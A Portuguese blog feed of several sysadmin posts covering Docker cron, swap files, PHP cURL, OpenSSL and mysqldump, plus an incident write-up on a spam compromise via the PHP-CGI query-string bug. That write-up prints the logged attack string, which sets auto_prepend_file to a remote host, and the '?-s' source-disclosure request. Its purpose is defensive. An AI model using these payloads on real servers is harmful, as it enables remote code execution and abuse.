Para os apressados a solução é rodar o cron em foreground. Dessa forma ele segura o container e ele não morre de cara.

ENTRYPOINT ["cron", "-f"]

Para quem curte uma solução mais completa abaixo está o Dockerfile que usei para resolver essa tarefa. No container deveria haver dois scripts, o primeiro que consultava uma API e retornava uma lista contendo um GUID, data da ultima alteração e a periodicidade que esse GUID deveria ser chamado. O segundo script que era chamado pelo cron passando o GUID respeitando a periodicidade definida.

Assim o primeiro script, deveria acessar uma API a cada 15 minutos, verificar localmente se aqueles GUID recebidos já tinham seus respectivos arquivos cron gerados. A solução foi que para cada GUID recebido criariamos arquivos na pasta do cron.d no formato abaixo.

#/etc/cron.d/run_primeiro_script
*/15 * * * * root /app/primeiro_script.py

O segundo script precisa ser chamado dada uma periodicidade e passando um ID como parâmetro.

#/etc/cron.d/426c3f18-8f87-4ca7-98a9-aaa865ae46d1
*/5 * * * * root /app/segundo_script.py --id 426c3f18-8f87-4ca7-98a9-aaa865ae46d1

O Dockerfile ficou assim.

FROM ubuntu:23.04 AS base

WORKDIR /app
RUN apt-get update && apt-get install -y cron python3
RUN echo "*/15 * * * * root python3 /app/primeiro_script.py > /proc/1/fd/1 2>/proc/1/fd/2" > /etc/cron.d/run_primeiro_script

COPY . .

ENTRYPOINT ["cron", "-f"]

Eu ressalto que como a tarefa do cron é executado em um bash as mensagens da aplicação não saem no bash principal e como consequência não é possível ver essas mensagens no log. Por isso redirecionamos o stdout e o stderr do “primeiro_script.py” para o processo de PID 1 que é o comando executado pelo entrypoint.

Essa é uma solução interessante também para manter o log quando o cron executar scripts, programas e aplicações que tenham muita saída no stdout e que normalmente estivessem rodando em foreground seriam enviados para o log do pod.

The post Docker Cron appeared first on Pereira, Thiago Santos..

Quando você pega uma VM você paga pela RAM e pelo espaço em disco e a cloud te aluga RAM e espaço em disco. No entanto, se a VM vier automaticamente com um swap ativo a cloud vai precisar dispor de mais disco swap + o acordado. Se uma VM tem 512mb de RAM e 20Gb de disco, teria que dispor de pelo menos 256mb de swap, imagina essa escala para uma cloud com milhões de VMs. Por isso as VMs de diversas clouds vem sem SWAP File e deixa para você a responsabilidade de ativar! <3

O que afinal é o SWAP e para que serve?

O swap file nada mais é que um espaço no seu disco destinado a receber dados que estão na memória quando o seu sistema está ficando sem para continuar rodandos as aplicações. O kernel notando que vai dar merda pega uma sessão da RAM que está destinada a um programa que está com baixa prioridade ou em espera e coloca temporariametne dentro do swap. Liberando assim a memória RAM para continuar funcionando.

Imagina que o seu sistema está rodando, tem pouca memória, precisa executar novos processos, mas não tem SWAP configurado. O que acontece? Sim, dá merda. O kernel vem matando os processos através do OOM Killer, mas antes ele lança essa bela imagem.

Criar um SWAP file

O comando abaixo aloca um gigabyte para o swap localizado na raiz do sistema no arquivo swapfile. Minha sugestão é que você coloque o seu arquivo numa partição que tenha um disco rápido.

sudo fallocate -l 1G /swapfile

Restrinja a manipulação somente ao usuário ROOT

sudo chmod 600 /swapfile

Formatamos o nosso arquivo para o formato SWAP

sudo mkswap /swapfile

Ativamos o swap que acabamos de criar

sudo swapon /swapfile

Para ver rodando basta dar um “TOP” ou “HTOP” e vai ver lá o swap, é possível que assim que você crie e habilite o swap não esteja sendo utulizado, mas com o passar de algum tempo vai estar lá ele sendo utilizado.

Pode também rodar o swapon –show para listar os swaps ativos

sudo swapon --show

Fonte:

https://rakeshjain-devops.medium.com/linux-out-of-memory-killer-31e477a45759

https://diolinux.com.br/tutoriais/como-trabalhar-com-swap-files-no-ubuntu.html

The post Swap File – Por quê? appeared first on Pereira, Thiago Santos..

Achei isso simplesmente fantástico! Estava com um problema em que uma aplicação não conseguia fazer o download de arquivos muito grandes, mas como saber onde era o problema? Procurando na internet toda encontrei callback do cURL para PHP que nos avisa a toda vez que um pedaço do arquivo é baixado ou subido.

Vamos ao código, primeiro o callback

<?php 

function curl_progress($resource,$download_size, $downloaded, $upload_size, $uploaded) {     if($download_size > 0)
         print ("Progresso download: ".($downloaded / $download_size  * 100));
    if($upload_size> 0)
         print ("Progresso Upload: ".($uploaded/ $upload_size * 100));
}

Agora a nossa implementação do cURL

<?php 

 $ch = curl_init();
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, "Arktre::odiopuro");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'curl_progress');
    curl_setopt($ch, CURLOPT_NOPROGRESS, false); // necessário para fazer o progresso funcionar
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $response = curl_exec($ch);

O resultado é essa saída bonita!

Progresso: 0.6532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
[...]
Progresso: 76.914346406643
Progresso: 77.548795145797
Progresso: 100

Rápido de resolver!

http://php.net/manual/en/function.curl-setopt.php
https://gist.github.com/bdunogier/1030450
http://stackoverflow.com/questions/13958303/curl-download-progress-in-php

The post Acompanhamento de Progresso no cURL com PHP appeared first on Pereira, Thiago Santos..

Observando o código que eu tinha que está abaixo, é possível ver que ele é um código simples que qualquer tutorial de php cURL na internet te ensina a montar.

<?php
$url = "http://example.com/arquivo_grandao.zip";

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Arktre::odiopuro");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);

Como ter certeza agora que o problema era mesmo do cURL? Simples! Analisando o progresso do download, explico como fazer isso nesse post. Logo como saída eu tinha porcentagens de progresso variadas entre 40% e 80%, mas nunca 100%.

Progresso: 0.6532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
Progresso: 2.5532900454675
[...]
Progresso: 76.914346406643
Progresso: 77.548795145797
Progresso: 78.755615489735

Depois disso ficou fácil entender que o próprio cURL estava interrompendo o download do arquivo. O cURL tem dois parâmetros importantes de timeout o CURLOPT_CONNECTTIMEOUT e o CURLOPT_TIMEOUT, o primeiro especifica o tempo máximo que o cURL pode levar para conectar a outra ponta, e o segundo o tempo máximo de execução do cURL. Meu problema estava nesse segundo parâmetro. Como o arquivo baixado era muito grande e a minha banda não tão larga, o cURL precisava de mais tempo para baixar o arquivo completo.

<?php
$url = "http://example.com/arquivo_grandao.zip";

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, "Arktre::odiopuro");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
curl_setopt($ch, CURLOPT_TIMEOUT, 900);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);

Depois disso o progresso funcionou normalmente, indo até o 100. Simples de resolver!

The post PHP Curl Timeout e ConnectTimeout appeared first on Pereira, Thiago Santos..

Dessa vez, não foi assim. O MySQL estava falhando a cada tentativa minha de iniciar ele, o log abaixo, do arquivo /var/log/syslog, é o da primeira tentativa de reiniciar o MySQL:

The post MySQL fora do ar com InnoDB: Error: pthread_create returned 11 appeared first on Pereira, Thiago Santos..

http://localhost/index.php?-s

Você obtém o conteúdo do código PHP. Isso é muito bizarro!

1. O que estava acontecendo?

Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.

Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).

O arquivo pagenews.php e as suas cópias w[0-9]{1,8}n.php continham um exploid com uma lista de diretorios, opções de criar, remover e editar aquivos, enviar email, e enviar em lote, além de um console e auto-remove.

De imediato criamos uma copia do pagenews.php, para analizarmos depois, e em seguida deletamos todos os arquivos. Em seguida mudamos as permissões da pasta e arquivos para um usuário padrão e seguro. Com isso achamos que os disparos de emails fosse parar, mas não foi o que aconteceu, a fila de emails só crescia.

Dai então procuramos por todo o servidor por rastros de outros arquivos e não encontramos nada!

2. O que fizemos?

Nesse servidor invadido só roda PHP, ou seja estavam de alguma forma usando a função mail() para disparar spams. Dai seguindo as dicas desse site (http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam) criei um wrapper pra monitorar o envio dos emails usando a função mail do PHP. Funcionou muito bem, dai fiz um up nele. Na verdade eu não queria só saber de qual site estava sendo disparado o email, mas queria saber também de qual script php, e quais parametros estavam sendo passados para ele, logo o meu phpsendmail ficou assim.

/usr/local/bin/phpsendmail

#!/usr/bin/php


*/

$sendmail_bin = '/usr/sbin/sendmail';
$logfile = '/var/log/mail.form';

//* Get the email content
$logline = '';
$pointer = fopen('php://stdin', 'r');

while ($line = fgets($pointer)) {
        if(preg_match('/^to:/i', $line) || preg_match('/^from:/i', $line)) {
                $logline .= trim($line).' ';
        }
        $mail .= $line;
}

//* compose the sendmail command
$command = 'echo ' . escapeshellarg($mail) . ' | '.$sendmail_bin.' -t -i';
for ($i = 1; $i < $_SERVER['argc']; $i++) {         $command .= escapeshellarg($_SERVER['argv'][$i]).' '; } //* Write the log file_put_contents($logfile, date('Y-m-d H:i:s') . ' ' . " \n\n ----\n".print_r($_ENV,true)."\n\n" . ' '     .$logline."\n\n", FILE_APPEND); //* Execute the command return shell_exec($command); ?>

O passo a passo pode seguir o do link do site que eu mandei, o wrapper recomendo usar o meu que fica mais fácil de ver as variáveis de ambiente no momento da execução do código.

Feito isso, comecei a monitorar o /var/log/mail.form com o comando tail.

shell~# tail -f /var/log/mail.form

O retorno foi inesperado e surpreendente como segue:

To: xxxxxxx@yahoo.com From: "FedEx Service" <information@fedex.com>

2012-06-08 12:16:32

 ----
Array
(
    [SERVER_SIGNATURE] => <address>Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at meusiteemphp.com.br Port 80</address>

    [ORIG_PATH_TRANSLATED] => /var/www/sites/meusiteemphp/index.php
    [REDIRECT_SCRIPT_URL] => /index.php
    [HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0
    [SERVER_PORT] => 80
    [HTTP_HOST] => meusiteemphp.com.br
    [REDIRECT_SCRIPT_URI] => http://meusiteemphp.com.br/index.php
    [HTTP_EXPECT] => 100-continue
    [REDIRECT_HANDLER] => php5-cgi
    [DOCUMENT_ROOT] => /var/www/sites/meusiteemphp
    [SCRIPT_FILENAME] => /var/www/sites/meusiteemphp/index.php
    [REQUEST_URI] => /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SCRIPT_NAME] => /index.php
    [SCRIPT_URI] => http://meusiteemphp.com.br/index.php
    [REMOTE_PORT] => 32822
    [ORIG_SCRIPT_FILENAME] => /usr/lib/cgi-bin/php5
    [PATH] => /usr/local/bin:/usr/bin:/bin
    [SCRIPT_URL] => /index.php
    [PWD] => /var/www/sites/meusiteemphp
    [SERVER_ADMIN] => exemplo@exemplo.com.br
    [REDIRECT_STATUS] => 200
    [REDIRECT_QUERY_STRING] => -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [ORIG_SCRIPT_NAME] => /php5-cgi
    [HTTP_ACCEPT] => */*
    [REMOTE_ADDR] => 31.184.244.28
    [SHLVL] => 1
    [SERVER_NAME] => meusiteemphp.com.br
    [CONTENT_LENGTH] => 370977
    [SERVER_SOFTWARE] => Apache/2.2.9 (Debian) PHP/4.4.6-2 proxy_html/3.0.0 mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
    [QUERY_STRING] => -dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt
    [SERVER_ADDR] => 173.255.255.255
    [GATEWAY_INTERFACE] => CGI/1.1
    [SERVER_PROTOCOL] => HTTP/1.1
    [REDIRECT_URL] => /index.php
    [CONTENT_TYPE] => multipart/form-data; boundary=----------------------------0e65a7f6d6ad
    [REQUEST_METHOD] => POST
    [ORIG_PATH_INFO] => /index.php
    [_] => /usr/local/bin/phpsendmail
)

Atenção aos indices REQUEST_URI e REQUEST_HANDLER. Ataque claro:

-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Fsend.txt

Peguei o arquivo send.txt e tinha um código todo organizado e bonitinho para envio de email. Com esses parametros a invasão estava dada, foi assim que o spammer conseguiu criar o arquivo pagenews.php e seus derivados, e mesmo após deletarmos os arquivos ele continuou mandando email.

Achei o seguinte no PHP.net https://bugs.php.net/bug.php?id=61910 :

According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.

Dito e feito, funcionou de verdade, e o pior que foi comigo.
Mas fica para aprendermos.

3. O que foi feito?

Atualizamos a versão do PHP da 5.2.6 para a 5.4.3 e aparentemente o envio em massa de email foi interrompido, de qualquer forma continuamos o monitoramento dos emails.

Boa sorte!

Referencias:
http://www.php.net/archive/2012.php#id2012-05-03-1
https://bugs.php.net/bug.php?id=61910
http://www.howtoforge.com/how-to-log-emails-sent-with-phps-mail-function-to-detect-form-spam

The post PHP-CGI query string parameters vulnerabitily appeared first on Pereira, Thiago Santos..

Gerar uma chave RSA(RSA Key) 

Chave de 1024 bits

openssl genrsa -out  chave_privada.key 1024

Chave de 2048 bits

openssl genrsa -out chave_privada.key 2048

Gerando um CSR (Certificate Signing Request) a partir de uma RSA Key

openssl req -new -key chave_privada.key -out req_cert.csr

Converter .CER para .CRT

openssl x509 -inform DER -in cert.cer -out cert.crt

 Gerando um certificado auto assinado
Você pode usar internamente esse tipo de certificado para validar seus sites rodando localmente.

openssl x509 -req -in req_cert.csr -signkey chave_privada.key -out meu_certificado.crt

O conteúdo desse post é baseado nas minhas experiências implicando diretamente na quantidade de conteúdo escrito aqui, ou seja conforme for encontrando a necessidade de aprender algo novo sobre OpenSSL, certificados, chaves RSA vou postando aqui.

Referencia:
http://www.openssl.org/docs/apps/genrsa.html
http://www.openssl.org/docs/apps/req.html
http://www.akadia.com/services/ssh_test_certificate.html 

The post Guia rápido de conversão e criação de certificados appeared first on Pereira, Thiago Santos..

Nesta página temos as sessões:

1. Basicamente fazendo o dump do mySQL
2. Restaurando um banco mySQL
3. Atenção as setas!

shell~# mysqldump -u usuario -p meubancodedados -h localhost

Parâmetros:

• -u  usuario = nome de usuário com permissão no banco
• -p = pedir senha
• -h localhost = ip ou dominio onde se encontra o seu banco mySQL
• meubancodedados = nome do banco de dados que você quer dar o dump

Se tudo sair conforme esperado o mysqldump vai cuspir todo o conteudo do banco de dados, e se quiser colocar esse conteúdo dentro de um arquivo basta adicionar o “> meu_dump.sql” do final da instrução.

 shell~# mysqldump -u usuario -p bancodedados -h localhost > meu_dump.sql

2 – Restaurando um banco mySQL
Um pouco de atenção agora pois é nessa parte em que muitos se enganam. No momento em que fazemos um dump de um banco usamos o mysqldump e quando queremos restaurar esse dump usamos o ……. ? mysql !
Muitas das pessoas que fizeram testes para o cargo citado a cima utilizaram o mysqldump para importar os dados, e encontraram muitas referencias da utilização do mesmo para restaurar. Mas não funciona, pelo menos não na versão do mySQL 5 que usamos. :)
Segue abaixo a linha para restaurar o banco:

 shell~# mysql -u usuario -p bancodedados_2 -h localhost < meu_dump.sql

Vale lembrar que é necessário que você crie o bancodedados_2, dê as devidas permissões para o usuario antes de executar essa instrução.

3 – Atenção as setas!

Quando é feito o mysqldump e queremos salvar as informações em um arquivo de texto utilizamos o sinal de maior “>“, já quando queremos importar os dados para o mySQL utilizando o mysql usamos a seta inversa ou senha o sinal de menor “<“.

Abraços.

The post Exportando e importando dados do mySQL por linha de comando appeared first on Pereira, Thiago Santos..